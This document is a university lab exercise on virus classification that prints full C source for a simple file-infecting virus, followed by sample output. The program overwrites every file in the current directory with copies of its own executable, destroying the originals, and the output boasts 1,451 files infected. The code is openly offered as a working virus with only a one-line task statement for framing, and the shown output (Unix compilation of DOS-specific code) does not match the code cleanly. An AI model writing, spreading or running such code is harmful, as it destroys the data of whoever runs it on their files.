Program 5: Virus classification

MTech Advanced Operating Systems Lab(14SCS16) (1st sem)

Design and develop a program to realize the virus classification, such as boot sector infector, file infector and macro virus.

#include<stdio.h>

#include<io.h>

#include<dos.h>

#include<dir.h>

#include<conio.h>

#include<time.h>

FILE *virus, *host;

int done, a = 0;

unsigned long x;

char buff[2048];

struct ffblk ffblk;

clock_t  st, end;

void main()

{

            st = clock();

            clrscr();

            done = findfirst("*.*", &ffblk, 0);

            while(!done)

            {

                        virus = fopen(_argv[0], "rb");

                        host = fopen(ffblk.ff_name, "rb+");

                        if(host == NULL)

                                    goto next;

                        x = 89088;

                        printf("Infecting %s\n", ffblk.ff_name, a);

                        while(x>2048)

                        {

                                    fread(buff, 2048, 1, virus);

                                    fwrite(buff, 2048, 1, host);

                                    x -= 2048;

                        }

                        fread(buff, x, 1, virus);

                        fwrite(buff, x, 1, host);

                        a++;

                        next:

                        {

                                    fcloseall();

                                    done = findnext(&ffblk);

                        }

            }

            printf("DONE! (Total Files Infected = %d)", a);

            end = clock();

            printf("TIME TAKEN = %f SEC\n", (end-st)/CLK_TCK);

            getch();

}

Output:

vi virus.c

cc virus.c

./a.out

Infecting a1.txt

…

…

…

Infecting a1451.txt

DONE! (Total Files Infected = 1451)

TIME TAKEN = 5.054945 SEC